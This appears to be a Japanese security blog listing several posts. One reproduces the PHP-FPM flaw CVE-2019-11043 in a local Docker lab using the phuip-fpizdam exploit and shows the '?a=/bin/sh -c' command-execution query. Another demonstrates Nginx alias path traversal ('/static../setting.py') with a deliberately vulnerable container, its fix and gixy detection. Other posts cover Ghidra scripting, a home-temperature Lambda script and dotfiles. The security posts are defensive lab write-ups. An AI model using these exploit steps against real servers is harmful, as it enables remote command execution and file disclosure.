任意コード実行が可能なPHP-FPMの脆弱性(CVE-2019-11043)を試してみた
少し前に出たCVE-2019-11043という脆弱性を試してみました。すでに日本語解説記事もありますが備忘録ということで。
脆弱性概要
PHPのFastCGI 実装のひとつの PHP-FPM(FastCGI Process Manager)に任意コード実行が可能な脆弱性(CVE-2019-11043)が見つかりました。NginxとPHP-FPMで構成された環境において以下のような設定がされている場合に任意コード実行が可能でした。
- locationディレクティブでリクエストをPHP-FPMに転送するようになっている
- PATH_INFO変数を割り当てる際にfastcgi_paramディレクティブが使用されている
- fastcgi_split_path_infoディレクティブが存在し、
^
で始まり$
で終わる正規表現が用いられている try_files $uri=404
のようなファイルの有無を判断するためのチェックがない
例を挙げるとNginxに以下のようなconfigが設定され、PHP-FPMにリクエストを転送している場合です。
location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
fastcgi_split_path_infoディレクティブに指定されている正規表現が改行コード%0A
を解釈すると、空のPHP_INFOがPHP-FPM
サーバーに送られます。
PHP-FPMがPHP_INFO の値を誤って処理することでバッファアンダーフローが発生し、最終的にPHPの実行環境の変数にリモートコード実行可能な設定を上書きすることができます。
詳しくは発見者がZeroNights2019で発表した以下のスライドを見てください。
https://github.com/neex/phuip-fpizdam/blob/master/ZeroNights2019.pdf
また、この脆弱性の修正コミットはこちらです。 github.com
- 7.1.x 〜 7.1.32
- 7.2.x 〜 7.2.23
- 7.3.x 〜 7.3.11
試してみる
実際に攻撃してみます。
環境
この脆弱性の発見者が作成したphuip-fpizdamというexplotツールと、 vulhubにある検証用のdocker-compose環境を使います。
この検証用のdocker-compose環境はbindingアドレスが0.0.0.0
となっていて、そのまま使うとネットワーク上の他のホストからアクセス可能な検証環境が出来てしまいます。docker-compose.ymlのportsの部分を127.0.0.1
を指定するように変更してから、docker-compose up -d
を実行すると自ホストのみに閉じた検証環境になります。
services: nginx: ... ports: - "127.0.0.1:8080:80" # 変更する行 ...
また、bindingアドレスが変更できているかどうかは、docker ps -a
で確認できます。8080番ポートでNginxサーバーが、9000番ポートでPHPプロセスがそれぞれ待ち受けています。
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES e2779ab00718 nginx:1 "nginx -g 'daemon of…" 5 seconds ago Up 4 seconds 127.0.0.1:8080->80/tcp cve-2019-11043_nginx_1 e11c381f541b php:7.2.10-fpm "docker-php-entrypoi…" 6 seconds ago Up 5 seconds 9000/tcp cve-2019-11043_php_1
やる
http://127.0.0.1:8080でhello worldと返すだけの単純なPHPのCGIスクリプトが動いています。
こちらに対して、phuip-fpizdamコマンドを実行してみます。
$ phuip-fpizdam http://127.0.0.1:8080/index.php 2019/12/12 23:28:17 Base status code is 200 2019/12/12 23:28:17 Status code 502 for qsl=1800, adding as a candidate 2019/12/12 23:28:18 The target is probably vulnerable. Possible QSLs: [1790 1795 1800] 2019/12/12 23:28:19 Attack params found: --qsl 1795 --pisos 152 --skip-detect 2019/12/12 23:28:19 Trying to set "session.auto_start=0"... 2019/12/12 23:28:19 Detect() returned attack params: --qsl 1795 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/12/12 23:28:19 Performing attack using php.ini settings... 2019/12/12 23:28:19 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/12/12 23:28:19 Trying to cleanup /tmp/a... 2019/12/12 23:28:19 Done!
Success!と出たので攻撃に成功したようです。Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
とあるので、URLの末尾に?a=コマンド
というふうに付けてあげることで任意のコマンドを指定できるようです。
idコマンドを実行してみると以下のようになりました。
まとめ
簡単に任意のコマンドが実行できてしまう深刻な脆弱性でした。 開発者目線では怖い脆弱性ですが、ペンテスター目線では条件がきびしいものの、カジュアルに攻撃することができて有用な脆弱性だなーと思いました。 OSSに任意コード実行ができる脆弱性を見つけたいものですね。
参考資料
技術書典7で Ghidra Pro Book を頒布します!
技術書典7で Allsafeというサークルから Ghidra Pro Book を頒布します🐲 場所は「お48C」です!
なんと場所は、あのTomoriNaoの横なので2冊いっしょに買えます!!
表紙は IDA Pro Book をリスペクトしたものになっています!
Ghidraの基本的な使い方から、Ghidra Script、Ghidra Extensionの開発方法、実践的なマルウェアの解析方法まで、幅広くカバーしています!
ぼくは、第2章の「Advanced Ghidra Usage」の2割くらいと、第3章の「Extending Ghidra’s Capabilities」の9割くらいを書きました!
有給休暇消化期間を費やして執筆したので、みなさま!ご購入の検討を!!よろしくお願いします!!!
技術書典7で TomoriNao vol.3 を頒布します!!!
前回までのストーリー
今回
技術書典7で TomoriNao vol.3 を頒布します!!! 場所は「お48C」です!!!
TomoriNao is back!
— Team TomoriNao (@TomoriNao_pro) September 15, 2019
9月22日の #技術書典 7 お48C で新刊Vol. 3を頒布します📘
今回も友利奈緒たちがセキュリティな能力を発揮してくれました☄️
サークル詳細はコチラ👉 https://t.co/mmeVufQRCD pic.twitter.com/acZZ9HSCIS
私は、「PHP Object Injection入門」という題で1章書きました。 PHP Object Injectionというのは、シリアライズされたObjectがリクエストのパラメーターにあって攻撃者が細工できる状態だったときに、細工したobjectをWebアプリケーションに渡すことで、任意のPHPコードを実行できるかも!?という攻撃手法です。
みなさま!ご購入の検討を!!よろしくお願いします!!!
ちなみに既刊はKindleで販売しています。
Nature Remo + AWS Lambda + Mackerel で室温を記録してみた
暑くなってきたのでスマートホーム化していきたいなと思い、ひとまずNature RemoのAPIで遊んでみるか〜と、Nature Remo + AWS Lambda + Mackerel で室温を記録していくようにしてみたところ、以下のようなグラフになった。
冷房をかけたときに温度が下がったところ以外は常時27.4度前後で遷移していて、あまり変化がなくおもしろくはないグラフになったが、日中暑いときも全く室温に影響なくて、「鉄筋コンクリート造はさすがだなー!」と思った。 Nature Remoから室温を取得しMackerelにPOSTする関数を、Lambdaにアップロードし、CloudWatch Eventsをトリガーに10分毎に実行している。
コードは以下のようになった。Nature RemoとMackerelにはあんまりいいかんじのAPIクライアントがなさそうだったので、requestsライブラリを使ってがんばってAPIを叩いている。APIトークンは環境変数として出してあるので、コードを貼っても安心。
#!/usr/bin/env python3.7 # coding: UTF-8 import datetime import json import os import requests def get_room_temperature(): headers = { 'accept': 'application/json', 'Authorization': 'Bearer ' + os.environ['REMOTOKEN'], } response = requests.get('https://api.nature.global/1/devices', headers=headers) json = response.json() return json[0]['newest_events']['te']['val'] def post_service_metrics(temperature): headers = { 'accept': 'application/json', 'Content-Type': 'application/json', 'X-Api-Key': os.environ['MACKERELKEY'], } now = datetime.datetime.now() metrics = [ { 'name': 'Temperature.temperature', 'time': int(now.timestamp()), 'value': temperature } ] json.dumps(metrics), response = requests.post('https://api.mackerelio.com/api/v0/services/nature-remo/tsdb', json.dumps(metrics), headers=headers) print(response.json()) def lambda_handler(event, context): temperature = get_room_temperature() post_service_metrics(temperature)
AWS Lambda上で動かす関数で外部ライブラリを使っていた場合、そのライブラリもzipで固めてアップロードしないといけないので少しめんどう。先人のように、Goでやったほうがシングルバイナリになって、アップロードは楽そう。
$ mkdir packages $ cd packages/ $ pip install requests -t . $ zip -r9 ../function.zip . $ zip -g function.zip lambda_function.py
AWS Lambda触ったことなかったので、いい機会になってよかった。1か月に100万件のリクエストまで無料で、今回みたいな10分に1回リクエストを飛ばすくらいだと無料で使えるので、スマートホーム化していくに当たってバンバン活用していきたい。
globalのgitignoreの設定をdotfilesでやるようにした
新しいPCにglobalのgitignoreを入れ忘れてたからdotfilesの中でやるようにした。
以下のシェルスクリプトで、github/gitignoreからダウンロードしてきたgitignoreを~/.gitignore
に設置している。
if [ "$(uname)" = 'Darwin' ]; then curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/macOS.gitignore' >> ~/.gitignore else curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/Linux.gitignore' >> ~/.gitignore fi echo '' >> ~/.gitignore echo '# VisualStudioCode' >> ~/.gitignore curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/VisualStudioCode.gitignore' >> ~/.gitignore echo '' >> ~/.gitignore echo '# Vim' >> ~/.gitignore curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/Vim.gitignore' >> ~/.gitignore
Xcode Command Line ToolsやHomebrewのインストール、Homebrewやcaskで入るツールのインストールもdotfilesの初期設定スクリプトでやるようにしていて、それぞれをセットアップするかどうかを尋ねてくれるようにしている。便利!
$ git clone https://github.com/tkmru/dotfiles.git $ cd dotfiles $ ./init.sh Do you setup global .gitignore? [y/N] y ... Do you setup Xcode Command Line Tools? [y/N] y xcode-select: note: install requested for command line developer tools Do you setup Homebrew? [y/N] y Do you setup some tools by Homebrew and Homebrew cask? [y/N] y ...
dotfilesの配置にはMitamaeを使っている。これはプロビジョニングツールのitamaeのmruby実装で、シングルバイナリで動作するため、rubyの環境を整えることなく使えるところが便利。
GhidraのScriptまわりについて
はじめに
先日、NSAがリバースエンジニアリングツールのGhidraを公開した。 OSSであることや、Hex-rays社が高価で販売しているようなデコンパイラがついていることから注目されている。 SREを「Site Reliability Engineering」ではなく「Software Reverse Engineering」としてSRE frameworkを標榜しているのもかっこいい!!!!!
IDAでいうIDAPythonのように、GhidraでもJavaやJythonとしてのPythonで解析に役立つScriptを動かすことができる。
docs/GhidraAPI_javadoc.zip
にAPIリファレンスがあり、それらのAPIを扱える。
この記事では、そんなGhidraのScriptまわりを見ていこうと思う。
Pythonインタプリタ
CodeBrowserのツールバーのWindow->PythonよりPythonインタプリタを起動できる。 APIの挙動をシュッと確認できて便利。
上では、currentProgram.getName()
でバイナリのファイル名を取得し、
askString()
でポップアップを出し、ユーザーからの入力を受け取っている。
Script Manager
Code Browser上の再生ボタンのような▷のボタンを押すとScript Managerが開かれる。
ダウンロードしてきたScriptを読み込むにはScript Directories
のボタンを押して、Scriptがあるディレクトリを追加してあげるとよさそう。
Create New Script
ボタンを選択するとScript Managerの右側に簡易的なエディタが出現する。
Script Manager上でコードを書けるので便利そう。
ここで作成したScriptはデフォルトでは~/ghidra_scripts
に保存される。
参考になりそうなScript
Ghidra/Features/
以下にJavaやPythonのScriptがたくさん置かれている。
Script Mangerを開くとExamplesというディレクトリがあり、ここにあるScriptを読んでいくとチュートリアル代わりになりそう。
ExamplesというディレクトリがあるかのようにUI上では表示されるが、これはカテゴリのようなもののようで、実際には全然違うディレクトリにあるので注意。
$ find . -name ghidra_basics.py ./Ghidra/Features/Python/ghidra_scripts/ghidra_basics.py
便利そうなScript
ghidraninja/ghidra_scriptsというghidraのscriptがいくつか置かれたリポジトリがある。早い。
binwalkを走らせて見つけたアドレスをBookmarkに登録するbinwalk.py
や、暗号に使われる定数を見つけるyara.py
、
swiftの関数名をdemangleしてくれるswift_demangler.py
、stripped Go binaryにシンボルをつけ直すgolang_renamer.py
があり便利そう。
Nginxのalias traversalについて
Nginxのalias traversalとは
Nginxではaliasディレクティブを使って
locationディレクティブで指定したURIのパスをファイルシステム上のパスに対応させることができます。
以下の例のようにconfigを書くと、/var/www/app/static/
以下にあるファイルに/static/ファイル名
のようなパスでアクセスできます。
location /static { alias /var/www/app/static/; }
しかし、このようにlocationのパスの末尾が/
で終わっていない場合、..
を使うことで、開発者が意図していない上位のディレクトリへのアクセスが可能になってしまいます。
このケースだと、/static../setting.py
のようにパスを指定することで、aliasで指定したディレクトリより上位のディレクトリである/var/www/app
以下のsetting.pyにアクセスすることができます。これがNginxのalias traversalです。
以下のようにlocationで指定するパスの末尾に/
を書いておくことで防ぐことができます。
location /static/ { alias /var/www/app/static/; }
Nginxは、alias traversalを脆弱性として扱っておらず、Nginx側で修正されることはありません。
初出は2016年のHCTFの問題のようです。 http://momomoxiaoxi.com/2016/11/29/HCTF2016/#10%E4%BD%A0%E6%B2%A1%E8%B5%B0%E8%BF%87%E7%9A%84%E5%A5%97%E8%B7%AF
ぼくはCODEBLUE 2018でorangeさんのBreaking Parser Logic - Take Your Path Normalization Off and Pop 0days Outを聞いて知りました。 ちなみに、この発表はDEFCON26やBlack Hat 2018やHack.lu 2018でも行われています。ぼくもつよいexploit手法を見つけたら海外カンファレンス巡業したい。
実例
hackeroneでは以下のようなものが見つかっていました。
- #312510 [mobs.mail.ru] nginx path traversal via misconfigured alias
- #317201 [vulners.com] nginx alias_traversal
やってみる
alias traversalの問題があるNginxサーバーを立てることができるDockerfileを書きました。
このリポジトリは以下のファイルから構成されています。
nginx-alias-traversal-sample$ tree . . ├── Dockerfile ├── LICENSE.md ├── README.md ├── index.html ├── screenshots │ ├── flag.png │ └── top.png └── vulnerable.conf 1 directory, 7 files
$ docker build -t nginx-traversal . $ docker run -d -p 3000:80 nginx-traversal:latest
上のコマンドでdocker runすると、http://localhost:3000でNginxサーバーが動きます。
http://localhost:3000/static/がalias traversal可能なパスになっています。
alias traversalを利用して、aliasで指定されたディレクトリの一つ上の階層にあるflagを読み出すことができました。
発見するのに使えるツール
Nginxのconfigにアクセスすることができる開発者側であれば、 gixyというNginxのconfigの静的解析ツールを使って、alias traversalを検出することができます。
$ gixy vulnerable.conf ==================== Results =================== >> Problem: [alias_traversal] Path traversal via misconfigured alias. Description: Using alias in a prefixed location that doesn't ends with directory separator could lead to path traversal vulnerability. Additional info: https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md Pseudo config: server { server_name localhost; location /static { alias /var/www/app/static/; } } ==================== Summary =================== Total issues: Unspecified: 0 Low: 0 Medium: 0 High: 1
また、脆弱性を発見するペンテスターはBurpの拡張を使って検出することができます。